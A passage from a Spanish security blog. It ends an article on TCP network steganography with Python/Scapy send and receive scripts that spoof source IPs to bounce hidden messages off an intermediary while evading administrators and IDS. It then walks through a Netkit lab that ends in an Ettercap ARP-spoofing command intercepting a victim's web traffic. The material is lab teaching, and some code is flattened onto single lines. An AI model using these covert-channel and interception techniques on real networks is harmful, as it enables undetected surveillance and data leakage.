La ventaja de este sistema es que el acechante administrador sólo vería un flujo de paquetes entre Bob y Mercurio por lo que no sospecharía nada. Además, no es necesario dirigir los paquetes a un puerto a la escucha de Mercurio, ya que en caso de utilizar un puerto cerrado, Mercurio reenviará los datos a Bob en un paquete RST+ACK en vez de en un SYN+ACK. La pega es que los paquetes RST+ACK llaman bastante más la atención en una captura de red que los de SYN+ACK al señalar errores en las conexiones, por lo que si Alice quisiese minimizar la probabilidad de llamar la atención del administrador fijaría un puerto de destino abierto (por ejemplo, si Mercurio fuese un servidor Web utilizaría el puerto 80).

La creación de herramientas para realizar este tipo de comunicaciones es extremadamente sencilla. A continuación se muestra un ejemplo programado con Python y Scapy.

La herramienta que utilizaría Alice podría ser:


############################################ # STEGTRANSPORT # # Programado por: Dante Signal31 # # Stegtransport permite transferir datos camuflados # en las cabeceras TCP de paquetes SYN de apariencia # perfectamente normal. # ############################################ ########## # LIBRERIAS ########## import scapy import time import random ############ # CONSTANTES ############
# Por simplicidad marcamos el final del mensaje con una '#'.
MENSAJE = "Creo que sospechan de ti. Sera / mejor que tengas cuidado.#" IP_DESTINO = "192.168.10.105" IP_INTERMEDIARIO = "192.168.10.106" PUERTO_ESCUCHA_INTERMEDIARIO = 80 INTERVALO_DE_ESPERA=0.1 ################## # PROGRAMA PRINCIPAL ################## print "Mensaje a enviar: " + MENSAJE print "Destinatario del mensaje: " + IP_DESTINO print "Intermediario: " + IP_INTERMEDIARIO for caracter in MENSAJE: caracter_valor_ascii = ord(caracter) print "Enviando caracter: " + caracter + /" con valor ASCII: " + str(caracter_valor_ascii) + "..." paquete_ip = scapy.IP() paquete_ip.dst = IP_INTERMEDIARIO
    # Falsificamos el origen del paquete
# para que el intermediario responda al
# destinatario del mensaje oculto (IP_DESTINO)
# y no a nosotros.
paquete_ip.src = IP_DESTINO paquete_tcp = scapy.TCP() paquete_tcp.seq = caracter_valor_ascii paquete_tcp.dport = PUERTO_ESCUCHA_INTERMEDIARIO
    # Si no fijamos un puerto origen, Scapy utilizará
# siempre el 20, lo que puede ser muy sospechoso.
paquete_tcp.sport = random.randint(49152, 65535) paquete = paquete_ip / paquete_tcp scapy.sr1(paquete) print "enviado caracter."
    # Esperar entre un paquete y otro reduce la probabilidad
# de pérdidas, de llegadas desordenadas y de detecciones
# por parte de los IDS.
time.sleep(INTERVALO_DE_ESPERA) print "Mensaje enviado." print "¡Que tenga un buen dia!"

En su lado Bob ejecutaría el siguiente programa:



############################################
# STEGRECEIVE
#
# Programado por: Dante Signal31
#
# Stegreceive permite recibir datos camuflados en
# las cabeceras TCP de paquetes SYN de apariencia
# perfectamente normal.
#
############################################

##########
# LIBRERIAS
##########
import scapy
import sys

############
# CONSTANTES
############
TRUE = 1
FALSE = 0
IP_INTERMEDIARIO = "192.168.10.106"

##################
# PROGRAMA PRINCIPAL
##################
print "Esperando mensaje desde el intermediario: " /+ IP_INTERMEDIARIO + "\n---"
fin_mensaje = FALSE
# Fijamos el filtro de captura del tcpdump.
filtro_captura = "ip src host " + IP_INTERMEDIARIO
while (not fin_mensaje):
    paquete_recibido = scapy.sniff( /
filter=filtro_captura , count = 1)
    # Accedemos al campo ACK del subpaquete TCP recibido.
    caracter_valor_ascii = /
paquete_recibido[0][scapy.TCP].ack  - 1
    caracter = chr(caracter_valor_ascii)
    if (caracter == '#'): 
        fin_mensaje = TRUE
    sys.stdout.write(caracter)
    sys.stdout.flush()
print "\n---\nMensaje recibido."
print "¡Que tenga un buen dia!"

He dejado en googlecode un laboratorio descargable de Netkit listo para probar estas herramientas. Estas herramientas son meros ejemplos de laboratorio y son francamente mejorables. Por ejemplo, el campo de Número de Secuencia Reconocido de la cabecera TCP/IP tiene cuatro bytes y sólo estamos aprovechando uno para enviar el carácter del mensaje. Podríamos mejorar el programa utilizando los 3 bytes restantes: el primero podría rellenarse con un número de identificación de manera que se pudiera distinguir entre el tráfico legítimo entre Bob y Mercurio del tráfico esteganográfico; el segundo byte podría ser un mini-numero de secuencia para que pudiesen ordenarse los paquetes en caso de que llegasen desordenados o bien detectarse pérdidas si las hubiera; el tercer y el cuarto byte se podrían usar para enviar dos caracteres en vez de uno. Otra mejora sería utilizar sockets DIVERT en el lado receptor para evitar que el kernel de Bob llame la atención del administrador enviando al intermediario paquetes de RST por recibir paquetes de SYN+ACK inesperados (debemos recordar que el receptor, Bob, no envió realmente el SYN inicial sino que lo hizo Alice). Queda como ejercicio para el lector desarrollar estas mejoras o cualquier otra que se le ocurra. Con esto damos por terminado el presente artículo en que se ha realizado una breve introducción a la esteganografía de red o dicho, de otra manera, el arte de ocultar información en tráfico de red aparentemente normal. Se pueden utilizar otras herramientas, otros protocolos u otros campos de los paquetes pero por lo general la mayor parte de las técnicas de esteganografía de red se basarán en los fundamentos aquí presentados.

22 octubre 2008

Creación de laboratorios virtuales con Netkit (II)

En el anterior artículo sobre Netkit vimos un ejemplo sencillo de sus posibilidades para simular una red con varios dispositivos. Las posibilidades son casi infinitas, pero es cierto que necesitamos algún tipo de automatización si queremos simular topologías complejas, con muchos nodos y sobre todo si queremos pasarle estas topologías a otros investigadores para que experimenten con ellas. Netkit aporta este nivel de automatización mediante laboratorios, estructuras de directorios que contienen ficheros para configurar cada uno de los nodos de manera automática. Lo bueno es que podemos comprimir este árbol de directorios y pasárselo a otros investigadores los cuales podrán arrancar el laboratorio y tener todos los nodos configurados y funcionando con apenas un único comando. Además, este fichero comprimido no ocuparía practicamente nada ya que los ficheros de configuración de cada nodo son sólo texto.

Vamos a preparar como ejemplo un laboratorio en el que simularemos un escenario en el que Alice se conecta a Internet desde la red conmutada de su organización. Lo que ella no sabe es que un intruso ha conseguido acceso a la red y pretende lanzar un ataque de arp-spoofing contra Alice para averiguar qué páginas de internet visita.

Antes de nada debemos configurar Netkit para que funcione correctamente en nuestro sistema operativo en modo laboratorio. Lo primero son las variables globales que usa Netkit. En el artículo anterior las configuramos correctamente, el problema es que cuando arrancamos un laboratorio en el que uno de los equipos se conecta a Internet tenemos que usar sudo el cual ignora por seguridad la mayor parte de las variables globales, entre ellas las que nosotros configuramos y usamos como usuarios normales. Para solucionarlo hay que configurar el sudo para que no ignore las variables de Netkit editando el fichero /etc/sudoers. En la sección "Default" de este fichero hay que poner:

Defaults:dante env_keep+="NETKIT_HOME", env_keep+="MANPATH"

Por supuesto en vez de dante hay que poner nuestro nombre de usuario. Faltaría la variable PATH y el sentido común dice que se debería poder configurar en el sudoers como las otras dos... el problema es que no es así y sudo sigue ignorando la variable PATH del usuario por mucho que nosotros configuremos en sudoers lo contrario. Es algo que de hecho ya está reportado en el Launchpad de Ubuntu como un bug largamente arrastrado. La solución es crear un alias que incluya el PATH de usuario cada vez que usemos sudo. Para ello editamos el fichero .bash_aliases de nuestro home e introducimos:

#Para que funcione el NETKIT.
alias sudo="sudo env PATH=$PATH"

Con eso Netkit cuenta con todas las variables necesarias, tanto si usamos sudo como si lo arrancamos como usuario normal.

Por otro lado, la versión 2.6 tiene un bug que hace que no se levante bien la salida a Internet de la máquina virtual, la solución es un patch que sacó uno de los autores de la aplicación en la lista de correo:
======================================================== diff -Naur netkit-old/bin/script_utils netkit-new/bin/script_utils --- netkit-old/bin/script_utils 2007-12-19 10:55:58.000000000 +0100 +++ netkit-new/bin/script_utils 2008-02-02 12:48:46.000000000 +0100 @@ -317,8 +317,8 @@ # This function starts all the hubs inside a given list runHubs() { local HUB_NAME BASE_HUB_NAME ACTUAL_HUB_NAME TAP_ADDRESS GUEST_ADDRESS - HUB_NAME="$1" while [ $# -gt 0 ]; do + HUB_NAME="$1" BASE_HUB_NAME="`varReplace HUB_NAME \".*_\" \"\"`" if [ "${BASE_HUB_NAME#tap${HUB_SOCKET_EXTENSION},}" != "$BASE_HUB_NAME" ]; then # This is an Internet connected hub @@ -328,7 +328,7 @@ startInetHub "$ACTUAL_HUB_NAME" "$TAP_ADDRESS" "$GUEST_ADDRESS" else # This is a normal hub - startHub "$1" + startHub "$HUB_NAME" fi shift done ========================================================
Una manera de aplicar este patch es crear un fichero de texto en $NETKIT_HOME/bin/ llamado patch2_6_bug con el texto del patch y acto seguido hacer:

dante@Hades:/usr/share/netkit/bin$ sudo patch script_utils patch2_6_bug patching file script_utils dante@Hades:/usr/share/netkit/bin$

Con esto se acaba la peor parte: la configuración previa de Netkit. Lo bueno es que sólo hay que hacerlo una vez, a partir de ahora sólo tendremos que preocuparnos de crear buenos laboratorios.

Para empezar con el nuestro, tendremos que crear una carpeta para contener el árbol de directorios y los ficheros de configuración. En esa carpeta crearemos el fichero principal de configuración del laboratorio: lab.conf. Ese fichero podemos meter todos aquellos parámetros que usaríamos con vstart para definir una máquina individual. Podemos definir cuantos interfaces tendrá cada nodo y a qué dominio de colisión pertenecerá cada uno (hay que recordar que, a diferencia de los hubs, los switches definen un dominio de colisión diferente para cada uno de sus puertos). Otro elemento que se puede definir es la memoria RAM que usará cada máquina. También se puede incluir información para catalogar el laboratorio como su autor, una sinopsis, versión, etc. En nuestro caso, el fichero lab.conf será el siguiente:

dante@Hades:~/netkit_labs/lab_sniffing_sw$ cat lab.conf LAB_DESCRIPTION="Laboratorio para simular un ataque de ARP-Spoofing" LAB_VERSION="0.1" LAB_AUTHOR="Dante" LAB_EMAIL="dante.signal31@gmail.com" LAB_WEB="http://danteslab.blogspot.com/" PC-Alice[mem]=100 PC-Sniffer[mem]=100 Router[mem]=100 Switch[mem]=100 PC-Alice[0]=CD-A Switch[1]=CD-A PC-Sniffer[0]=CD-C Switch[2]=CD-C Router[1]=CD-B Switch[0]=CD-B Router[0]=tap,192.168.10.1,192.168.10.2

La última línea configura el interfaz eth0 del Router como tap. Eso equivale a establecer una línea punto a punto entre la máquina virtual Router (192.168.10.2) y nuestro PC real (192.168.10.1 ) a través de la cual Router podrá salir a Internet utilizando nuestro PC como puerta de enlace. De hecho si cuando arranquemos el laboratorio hacemos un ifconfig en nuestro PC veremos que se ha creado un interfaz llamado nk_tap_root con la IP 192.168.10.1. En cuanto a la ruta por defecto, Netkit se encarga de meter una ruta estática en Router apuntando a la 192.168.10.1. Todo esto permite que el Router salga a Internet normalmente pero si además queremos que salgan el resto de los PCs de la red virtual (utilizando a Router y a nuestro PC como saltos hacia Internet) tendremos que añadir una ruta en nuestro PC real hacia la red virtual:


dante@Hades:~$ sudo route add -net 192.168.0.0 netmask 255.255.255.0 gw 192.168.10.2

Ahora, dentro de la carpeta del laboratorio crearemos un subdirectorio por cada máquina virtual que vaya a utilizarse.

dante@Hades:~/netkit_labs$ mkdir lab_sniffing_sw dante@Hades:~/netkit_labs$ cd lab_sniffing_sw/ dante@Hades:~/netkit_labs/lab_sniffing_sw$ mkdir Routerdante@Hades:~/netkit_labs/lab_sniffing_sw$ mkdir Switch dante@Hades:~/netkit_labs/lab_sniffing_sw$ mkdir PC-Alice dante@Hades:~/netkit_labs/lab_sniffing_sw$ mkdir PC-Snifferdante@Hades:~/netkit_labs/lab_sniffing_sw$ ls PC-Alice PC-Sniffer Router dante@Hades:~/netkit_labs/lab_sniffing_sw$

Los subdirectorios de las máquinas virtuales pueden quedarse vacíos o utilizarse para depositar ficheros que luego aparecerían en la máquina virtual. Por ejemplo si quisieramos que PC-Alice contase con el script X en /usr/bin, crearíamos la carpeta "/netkit_labs/lab_sniffing_sw/PC-Alice/usr/bin" y depositaríamos ahí una copia del script. En nuestro caso lo que haremos será poner en el directorio /etc/ de cada equipo los ficheros necesarios para que se configuren los recursos de red de manera adecuada.
Para el caso de Alice, quedará de la siguiente manera:

dante@Hades:~/netkit_labs/lab_sniffing_sw$ cat ./PC-Alice/etc/network/interfaces auto lo eth0 iface lo inet loopback address 127.0.0.1 netmask 255.0.0.0 iface eth0 inet static address 192.168.0.2 netmask 255.255.255.0 gateway 192.168.0.1


El PC-Sniffer tendrá la siguiente configuración de red:


dante@Hades:~/netkit_labs/lab_sniffing_sw $ cat ./PC-Sniffer/etc/network/interfaces auto lo eth0 iface lo inet loopback address 127.0.0.1 netmask 255.0.0.0 iface eth0 inet static address 192.168.0.3 netmask 255.255.255.0 gateway 192.168.0.1

El Router tendrá la siguiente configuración de red:


dante@Hades:~/netkit_labs/lab_sniffing_sw $cat ./Router/etc/network/interfaces auto lo eth1 iface lo inet loopback address 127.0.0.1 netmask 255.0.0.0 iface eth1 inet static address 192.168.0.1 netmask 255.255.255.0

Además, si queremos que nuestras máquinas virtuales puedan hacer resoluciones DNS (indispensable si queremos instalar paquetes con apt o navegar con lynx), tendremos que incluir un fichero /etc/resolv.conf en cada una de las máquinas virtuales igual que hicimo s con /etc/network/interfaces. Una copia del contenido del fichero /etc /resolv.conf de nuestro PC real valdrá.

Por último queda configurar el switch y decidir qué servicios se van a arrancar en cada máquina virtual. Precisamente para eso, Netkit permite definir qué comandos se ejecutarán durante el arranque y el apagado de las máquinas virtuales mediante los scripts startup y shutdown respectivamente. Para nuestro laboratorio crearemos los siguie
ntes scripts:

dante@Hades:~/netkit_labs/lab_sniffing_sw$ cat Switch.startup ifconfig eth0 up ifconfig eth1 up ifconfig eth2 up brctl addbr br0 brctl addif br0 eth0 brctl addif br0 eth1 brctl addif br0 eth2 brctl stp br0 on ifconfig br0 up

Este script configura un bridge tras el arranque de la máquina Switch incorporando a dicho bridge los puertos eth0, eth1 y eth2 y activando también el
spanning-tree (innecesario en este caso porque sólo hay un switch pero se trata de una costumbre que deberíamos adquirir).

Los comandos de startup del resto de las máquinas son más sencillos ya que lo único que hacen es iniciar el servicio de red:


dante@Hades:~/netkit_labs/lab_sniffing_sw$ cat Router.startup /etc/init.d/networking start dante@Hades:~/netkit_labs/lab_sniffing_sw$ cat PC-Alice.startup /etc/init.d/networking start dante@Hades:~/netkit_labs/lab_sniffing_sw $ cat PC-Sniffer.startup /etc/init.d/networking start

Este ejemplo es muy sencillo, pero gracias a estos scripts podemos hacer que un laboratorio se configure sólo sin que el usuario final que lo pruebe tenga que molestarse en tocar o instalar nada. De hecho lo más cómodo es configurar las direcciones IP de los interfaces y las rutas a través de estos scripts en vez de copiando los ficheros de configuración en la carpeta /etc de cada máquina, pero dar ese rodeo me ha permitido explicar la posibilidad de introducir archivos en el árbol de directorios de las máquinas virtuales.

Ahora, por fin, ha llegado el momento de arrancar nuestro laboratorio. Los laboratorios se arrancan con la orden lstart y se paran con lhalt. Veamos lo que pasa en nuestro caso:
dante@Hades:~/netkit_labs/lab_sniffing_sw$ sudo lstart [sudo] password for dante: 033[1m======================== Starting lab ===========================033[0m Lab directory: /home/dante/netkit_labs/lab_sn iffing_sw Version: 0.1 Author: Dante Email: dante.signal31@gmail.com Web: http://danteslab.blogspot.com/ Description: Laboratorio para simular un ataque de ARP-Spoofing 033[1m=================================================================033[0m 033[1mStarting "PC-Alice" with options "-q --mem=100 --eth0 CD-A --hostlab=/home/dante/netkit_labs/lab_sniffing_sw --hostwd=/ho me/dante/netkit_labs/lab_sniffing_sw"... 033[0m 033[1mStarting "PC-Sniffer" with options "-q --mem=100 --eth0 CD-C --hostlab=/home/dante/netkit_labs/lab_sniffing_sw --hostwd=/hom e/dante/netkit_labs/lab_sniffing_sw"... 033[0m 033[1mStarting "Router" with options "-q --mem=100 --eth1 CD-B --eth0 tap,192.168.10.1,192.168.10.2 --hostlab=/home/dante/netkit_labs/lab_sniffing_sw --hostwd=/home/dante/netkit_labs/lab_sniffing_sw"... 033[0m 033[1mStarting "Switch" with options "-q --mem=100 --eth1 CD-A --eth2 CD-C --eth0 CD-B --hostlab=/home/dante/netkit_labs/lab_sniffing_sw --hostwd=/home/dante/netkit_labs/lab_sniffing_sw"... 033[0m 033[1mThe lab has been started.033[0m 033[1m===================== ============================================033[0m dante@Hades:~/netkit_labs/lab_sniffing_sw$

Para comprobar que la red resultante funciona podemos probar a navegar por Internet con el lynx desde PC-Alice:




Ahora que hemos comprobado que nuestra red funciona vamos darle un uso a nuestro laboratorio realizando el experimento que mencionábamos al comienzo del artículo: un ataque de ARP-Spoofing contra Alice desde PC-Sniffer.

Como se puede ver en la foto anterior
, PC-Sniffer tiene activado un tcpdump, pero sólo ve el tráfico de spanning tree (STP) emitido por el switch. A diferencia de la red del artículo anterior en la que se simulaba un hub, en esta el switch no replica el tráfico por todos sus puertos sino sólo en el puerto al que se conecta el destinatario de los datos.

Para espiar el tráfico habrá que situarse entre Router y PC-Alice haciendoles creer que hablan entre sí cuando en realidad su interlocutor es PC-Sniffer.


Usaremos la herramienta Ettercap, que ya viene instalada por defecto en el Debian que trae Netkit (si no, podríamos haberla instalado con un simple "#aptitude install ettercap", como haríamos en nuestro PC real). Ettercap permite hacer intercepciones en redes conmutadas. En realidad es una pequeña maravilla que merece un artículo para ella sola. Aquí usaremos Ettercap desde el PC-Sniffer para espiar el tráfico web de Alice. Para activar un ataque de ARP-Spoofing (también llamado ARP-Poisoning) con Ettercap la orden sería:

PC-Sniffer# ettercap -M arp:remote -T /192.168.0.1/ /192.168.0.2/

Inmediatamente la pantalla de PC-Sniffer empieza a sacar el contenido de los datos que PC-Alice intercambia con su puerta de enlace, Router, mientras navega por Internet:




Para parar el laboratorio sólo tenemos que hacer "sudo lhalt" desde el directorio raíz del laboratorio (donde lanzamos antes el lstart). Si quisieramos relanzar el laboratorio debemos tener en cuenta que hay que volver a meter la ruta hacia la red virtual ya que la que dimos de alta antes desapareció cuando lhalt desactivó el interfaz tap. Por otro lado, el lstart creo ficheros .disk en la carpeta del laboratorio para que no se pierdan los programas que hayamos instalado en las máquinas virtuales o cualquier otra modificación que hayamos hecho, eso quiere decir que las carpetas donde pusimos los ficheros de configuración dejan de tener efecto por lo que si queremos poner nuevos ficheros allí primero tendremos que borrar los ficheros .disk y hacer un lstart para que Netkit vuelva a leer esas carpetas. Existe otra opción más útil para transferir ficheros a las máquinas virtuales y es mediante la carpeta /hosthome que hay en todas las máquinas virtuales y que monta el home del usuario que lanzó el Netkit.

En otro artículo explicaré qué es lo que hace Ettercap entre bastidores y cómo funcionan esta y otras técnicas de interceptación. Este artículo lo que ha servido es para demostrar la utilidad de Netkit a la hora de simular redes complejas con las que hacer experimentos de seguridad informática con un ahorro considerable tanto en esfuerzo, como en dinero y espacio. Supone también una ayuda valiosísima para los que pretendemos divulgar el arte de la seguridad informática, ya que nos permite ofrecer a nuestros lectores laboratorios preconfigurados que les permitirán concentrarse exclusivamente en las técnicas explicadas sin que tengan que perder el tiempo montando una red de prueba propia. Por ello, mis artículos futuros incluirán enlaces a laboratorios de Netkit especialmente diseñados para probar de una manera rápida y sencilla lo que se explique en ellos.